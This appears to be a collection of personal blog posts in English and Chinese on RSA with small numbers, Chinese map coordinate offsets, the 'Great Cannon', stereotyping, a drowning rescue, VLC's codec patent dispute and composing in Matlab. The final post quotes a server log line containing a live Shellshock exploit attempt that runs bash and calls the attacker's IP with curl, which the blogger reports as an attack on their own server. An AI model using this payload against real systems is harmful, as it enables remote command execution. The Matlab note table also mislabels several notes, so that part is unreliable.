RSA illustration with not-so-small numbers

Modern cryptography is difficult to understand without illustrations. One of the reason is, modern cryptography involves very large numbers that easily exceed the capacity of a standard calculator, let alone human comprehension. There are some illustrations out there using small numbers. The problem is, the numbers are too small to be convincing. So I’d like to try some no-so-small numbers here. Most of the necessary calculations can be done with GNU bc, so you can try yourself on just any GNU Linux distribution.

Let’s say Bob wants to send the below number to Alice (and make sure only Alice can decrypt the message):

520

Here’s what Alice will do first:

  1. Pick up two distinct prime numbers. The numbers should be sufficiently large so that brutal force is difficult. Here we choose p=37 and q=71.
  2. Calculating n=pq=37*71=2627.
  3. Calculating the n‘s totient function: phi(n)=(p-1)*(q-1)=2520.
  4. Pick a number e between 1 and phi(n) that is co-prime with phi(n). Here we choose 13.
  5. Find number d so that e*d mod (phi(n)) =1. Here we choose 1357. This step cannot be done with bc. Intead, you can try this online calculator. Just put “modinv(13,2520)” in the text field and then press “go” you’ll get the result.

Now Alice has a public key (n=2627, e=13) and a private key (n=2627, d=1357). She can simply distribute her public key to everyone, including Bob.

Now for Bob to encrypt the message 520 to Alice, he has to encrypt the message using Alice’s public key:

520^13 % 2627 = 2235

Now Alice received this number 2235 from Bob. In order to decrypt this message, she do the following calculation(using her private key):

2235^1357 % 2627 = 520

Actually, here Bob can encrypt just any number that is less than or equal to n=2627 in this way.

Bob:

1^13 % 2627 = 1

Alice:

1^1357 % 2627 = 1

Bob:

2^13 % 2627 = 311

Alice:

311^1357 % 2627 = 2

Bob:

3^13 % 2627 = 2361

Alice:

2361^1357 % 2627 = 3

Bob:

4^13 % 2627 = 2149

Alice:

2149^1357 % 2627=4

…

Bob:

137^13 % 2627 = 2431

Alice:

2431^1357 % 2627 = 137

…

If his message is large, then he has to split his message into chunks that are smaller than n and encrypt them one by one.

Note that this only illustrates how Bob can send secrete messages to Alice. If Alice wants to send secrete messages to Bob then she has to have Bob do the same first:

  1. Pick up 2 sufficiently large prime numbers;
  2. Get the product of these 2 prime numbers – This is part of the keys;
  3. Get the totient of this product;
  4. Pick a number that is co-prime with this totient but smaller – This combined with the product is the public key;
  5. Find the number that is the multiply modular inverse of this number – This combined with the product is the private key;

Then Bob sends his public key to Alice and Alice can encrypt the messages using Bob’s public key. Upon receiving the messages, Bob can decrypt the messages using his private key.

关于中国地图坐标偏移

这个问题曾经困扰我很长时间，因为没有权威资料，各方面的信息混乱，大家使用不同的名词，导致很多误解。这里尝试总结廓清一下。

  • 什么是地图坐标偏移

地图偏移在官方看来是一个坐标系问题，即官方要求中国所有的地图使用GCJ-02坐标系（被广泛称为火星坐标），而从其他坐标系到GCJ-02坐标系的转换算法是保密的。

然而GCJ-02不仅仅是一个坐标系选择的问题。把卫星地图和官方的GCJ-02地图进行重合可以发现，两者的偏差是非线性的（无法通过平移和缩放把一个重合到另一个上去）。因此，有理由认为，GCJ-02地图是经过某种偏移的。（在卫星地图上一条直线在GCJ-02地图上将不是直线）

  • 国内不同厂商提供的地图是否一致？

国内所有的厂商提供的地图都是GCJ-02地图，因此是可以通过平移、缩放重合的。不同的厂商可能采用不同的坐标系，但这些不同的坐标系跟GCJ-02的区别是线性的。

  • GPS设备呢？

GPS设备通常返回WGS-84坐标，因此如果直接标注到GCJ-02地图上会不准确。没有证据表明GPS信号或者GPS芯片被修改。国产的GPS设备可以返回GCJ-02坐标，但是不清楚这种坐标转换是硬件实现还是可以软件实现。

  • 地图怎么可能被偏移而不被察觉

从现有资料看，偏移发生在大尺度上。因此，如果不跟外部系统（非GCJ-02系统）进行对比，日常生活的确不会有影响。这里有一片文章根据泄露出来的数据对偏移算法进行了回归。这里是回归的结果。

总结，根源是政府掌握了地图的测绘资质和发布资质。GPS输出结果必须做相应的便宜，否则无法被准确地标记到地图上去。

How to dodge “the Great Cannon”

I don’t want to go in details and risk my own blog. So basically one of the scripts that’s very common among websites is targeted and redirection code was injected.

Using Adblock, you can simply block this script:

http://platform.twitter.com/widgets.js

And then you won’t get redirected. It’s that simple. 🙂

There might be other scripts I haven’t encounter yet, but you should be able to use the same technique to block them as well.

Stereotyping and its costs

Recently I watched this

And this:

I’ve been watching TED videos for years now but still feel like an eye opening.

People may say, “Oh come on, these are TED videos right? They are meant to impress people.” I’m actually not that easily impressed. I’m not talking about the technology or the plasticity of human brain. I’m talking about the very fact that a disabled person could become an MIT professor, lead a world class research team or could be so sharp, so articulate and appear so *normal*.

Despite all the pride of being Chinese, we have to admit, that would not happen in modern China.

If Mr. Hugh Herr had been born in China, he would have probably at best dropped out of school very early on and attended a special school or even worse, simply stay at home, completely isolated. If Mr. Daniel Kish were in China, he won’t have had the chance to share his personal experience with others. Instead, with his outstanding ability, he probably will end up making a living by showing off his special ability in a circus (Or in Beijing subway if circus fade out of favor completely).

The reason behind the differences, I believe, lies primarily in everyone’s mind.

I happen to know the concept of “stereotype threat”. For those who don’t know, according to wikipedia it is “one of the most widely studied topics in the field of social psychology”, that evaluates the impact of stereotyping. As it turns out, a lot of performance gaps between groups can be explained by this stereotype threat. I personally believe that stereotype threat is the key reason behind the performance gap between disabilities in China and disabilities in the US.

Let’s face it: China is still a country full of biased stereotypes. It’s true that stereotyping is part of human nature and that stereotypes exist in every society. However, China stands out in allowing stereotypes to go unchecked in every corner of everyday life, TV programs, newspapers, magazines, even textbooks for children. As a consequence, people are so used to all sort of stereotypes that no one even bothers to stand up against said stereotype, even though everyone has been a victim of one form of stereotype or another.

I have to admit that, I only started to pay attention to this topic after my wife and I had a child. My wife and I are lucky, our daughter is normal in every aspect. However, as new and inexperienced parents, at times when my daughter was sick and sometimes we became scared and couldn’t help but think about all kinds of what-if scenarios.

Out of this kind of reasoning I became a person that is conscious about stereotype. Bit by bit I recalled how I have struggled against all sorts of stereotypes against myself when I was young. I started to realized how I have stereotyped others and how destructive that could be. Everyone is a victim of this inescapable net of stereotyping.

So, on this special day, I propose one thing we could do to bring positive changes to China, without disturbing the government: reflect on ourselves and stop stereotyping.

To end this article, here’s a Stanford professor on this topic:

 

笔记

搜索神经网络的最新进展，看到wiki上说：

Between 2009 and 2012, the recurrent neural networks and deep feedforward neural networks developed in the research group of Jürgen Schmidhuber at the Swiss AI Lab IDSIA have won eight international competitions in pattern recognition and machine learning.[12][13] For example, the bi-directional and multi-dimensional long short term memory (LSTM)[14][15][16][17] of Alex Graves et al. won three competitions in connected handwriting recognition at the 2009 International Conference on Document Analysis and Recognition (ICDAR), without any prior knowledge about the three different languages to be learned.

http://en.wikipedia.org/wiki/Artificial_neural_network#Improvements_since_2006

赶快搜索了Jürgen Schmidhuber，然后看了一些视频，居然又联系到了Kolmogorov complexity，深度学习，可计算宇宙，智能，创造力，以及Gödel。。。。现在脑子还是一团浆糊，不过隐隐感觉到Jürgen可能会改变历史。。。。至少他的演讲很有趣：

心肺停止的紧急救治

早上听BBC Reith Lecture，Doctor Atul Gawande提到一个紧急救治的案例：奥地利一个三岁的小女孩在跟父母散步的时候跑到结冰的池塘上，然后落入开裂的冰面了。父母紧跟过去，但是也只是在30分钟之后才找到她。把她打捞上来时她已经完全失去知觉了——体温非常低，没有呼吸，没有心跳，瞳孔散开，对光线没有反应。

Consider a case report in The Annals of Thoracic Surgery of a three-year-old girl who fell into an icy fishpond in a small Austrian town in the Alps. She was lost beneath the surface for thirty minutes before her parents found her on the pond bottom and pulled her up. Following instructions from an emergency physician on the phone, they began cardiopulmonary resuscitation. A rescue team arrived eight minutes later. The girl had a body temperature of sixty-six degrees, and no pulse. Her pupils were dilated and did not react to light, indicating that her brain was no longer working.

但是救助团队坚持继续救治：

But the emergency technicians continued CPR anyway. A helicopter took her to a nearby hospital, where she was wheeled directly to an operating room. A surgical team put her on a heart-lung bypass machine. Between the transport time and the time it took to plug the inflow and outflow lines into the femoral vessels of her right leg, she had been lifeless for an hour and a half. By the two-hour mark, however, her body temperature had risen almost ten degrees, and her heart began to beat. It was her first organ to come back.

After six hours, her core temperature reached 98.6 degrees. The team tried to put her on a breathing machine, but the pond water had damaged her lungs too severely for oxygen to reach her blood. So they switched her to an artificial-lung system known as ECMO—extracorporeal membrane oxygenation. The surgeons opened her chest down the middle with a power saw and sewed lines to and from the ECMO unit into her aorta and her beating heart. The team moved the girl into intensive care, with her chest still open and covered with plastic foil. A day later, her lungs had recovered sufficiently for the team to switch her from ECMO to a mechanical ventilator and close her chest. Over the next two days, all her organs recovered except her brain. A CT scan showed global brain swelling, which is a sign of diffuse damage, but no actual dead zones. So the team drilled a hole into the girl’s skull, threaded in a probe to monitor her cerebral pressure, and kept that pressure tightly controlled by constantly adjusting her fluids and medications. For more than a week, she lay comatose. Then, slowly, she came back to life.

First, her pupils started to react to light. Next, she began to breathe on her own. And, one day, she simply awoke. Two weeks after her accident, she went home. Her right leg and left arm were partially paralyzed. Her speech was thick and slurry. But by age five, after extensive outpatient therapy, she had recovered her faculties completely. She was like any little girl again.

from: http://www.newyorker.com/magazine/2007/12/10/the-checklist

我就搜索了一下，这样的案例还不止一例，还有更有名的：

http://en.wikipedia.org/wiki/Anna_B%C3%A5genholm

大概看了一下，有几个要点：

  • 坚持CPR非常重要
  • 体温低，这使得各脏器，尤其是大脑不必消耗太多氧气，这样即使呼吸停止，脏器和大脑也不会被破坏；
  • 救治过程首先上体外循环机，逐步升高体温（体温升高太快会破坏红细胞）。心脏恢复搏动则循环系统恢复；
  • 然后上人工肺和呼吸机，确保氧能够进入循环系统；
  • 心肺都恢复之后可以恢复其他脏器；
  • 大脑没有因为缺氧而坏死，恢复的希望也很大，只是需要时间。

所以，其实冬天落水比夏天落水存活概率更高。只是不知道这次“东方之星”的救助能不能从中得到启发。。。

 

VLC player on iPad rendered useless

I’ve been using VLC player on all my computers, desktop or laptop, Android or iOS. It just works.

However, one day last week, when I try to play a new movie I copied to my iPad, I got an error message like this:

IMG_0813

And there’s no sound for this file. Well, it could be just a broken file, so I didn’t really look into it, till the next day I found that virtually all my video files have this issue.

Yesterday I had some time and a Google search revealed that this is actually a patent issue:

https://forum.videolan.org/viewtopic.php?t=125032

To put it simple, the audio codec AC3 is a patent of Dolby Digital, who demands license fee for decoding AC3 encoded videos and complained to Apple that VLC player for iPad violated patent law. Apple removed VLC player for iPad from App Store. In order to bring VLC player for iPad back to App Store, Video Lan had to remove the code that decoding AC3 audio.

Now, if you upgrade to this new version, you loose the ability to decode any AC3 encoded videos.

According to VLC forum, the team is still in communication with Dolby. There’s information showing that Dolby demands 2,000,000 USD. That would be too much for a small company like Video Lan.

Right now Video Lan is considering to put this AC3-decoding ability as a in-App purchasing item. However, there’s no timeline so far.

That’s very unfortunate for VLC. It’s a very crappy situation for me personall – with more than 60G of video, most of them now unwatchable. If you’re still use VLC 2.3.0, maybe it’s a good idea not to upgrade it to the latest version for this moment.

composing using Matlab – part 1

I have been attempted to do this for a long time, but only now I have some time to actually try it out. As it turned out, to have Matlab playing music is relatively easy, to have Matlab playing appealing music is way harder than I have imagined.

The core part is this Matlab function:

sound(v);

This function takes a vector and simply output it to the audio device in sequence. Values in the vector is the relative amplitude. Values larger than 1 will be ignored.

The default sample rate is 8000, so you’ll need 8000 data point to get 1 second of sound. If we want higher sample rate, then have to play the vector at a higher sample rate:

sound(v,16000);

Now, it’s very easy to generate such a vector:

First, generate a vector that represents time points:

tp=0:1/16000:0.5;
v=sin(440*2*pi*tp);

The first line generates a vector of 0.5*16000 values. That is 0.5 seconds in 16000 sample rate. The second line generates a sine wave of 440Hz for 0.5 seconds.

440Hz is A4. 12 half tones double the frequency. From C4 to A4 is 9 half tones. So C4 is 440*2^(-9/12)Hz. So for a simple C4 to C5, here’s the frequencies:

σ=2^(1/12)

Note Numbered Notation Frequency
C 1 440*σ^-9
C# 440*σ^-8
D 2 440*σ^-7
D# 440*σ^-6
E 3 440*σ^-5
F 4 440*σ^-4
F# 440*σ^-3
B 5 440*σ^-2
B# 440*σ^-1
A 6 440
A# 440*σ
G 7 440*σ^2
C i 440*σ^3

So we can simply do this:

n1=sin(440*2^(-9/12)*2*pi*tp);         % C
n2=sin(440*2^(-9/12)*2*pi*tp);         % C
n3=sin(440*2^(-2/12)*2*pi*tp);         % B
n4=sin(440*2^(-2/12)*2*pi*tp);         % B
n5=sin(440*2^(0/12)*2*pi*tp);          % A
n6=sin(440*2^(0/12)*2*pi*tp);          % A
n7=sin(440*2^(-2/12)*2*pi*tp);         % B
sound(n1,16000);
sound(n2,16000);
sound(n3,16000);
sound(n4,16000);
sound(n5,16000);
sound(n6,16000);
sound(n7,16000);

This gives us “twinkle twinkle little star”. Here I output the audio into .wav file:

wavwrite([n1,n2,n3,n4,n5,n6,n7],16000,'c:\twinkle.wav');

Easy, right?

On hearing it, you notice that, it sounds very uncomfortable, and there’s no variation of amplitude within one note.

The problem is, I’m using “pure tone” here. Real instruments generate sound with a very rich composition of different frequency, phase and amplitude, that we haven’t take into consideration here. Next post I’ll try to mimic the sound generated by a hitting a key on a piano.

Targeted after 3 days

176.102.38.77 - - [27/Sep/2014:04:54:05 +0800] "HEAD /cgi-bin/ HTTP/1.1" 403 158 "-" "() { :;}; /bin/bash -c 'curl http://176.102.38.77/search/e.php?h=<site-name-masked-off>/cgi-bin/'"

This is the first sign on my server that someone try to exploit the potential Shellshock vulnerability on my server, just 3 days after the vulnerability was disclosed. Should I feel happy that I actually get high attention? Luckily I patched this server the next day the vulnerability was disclosed.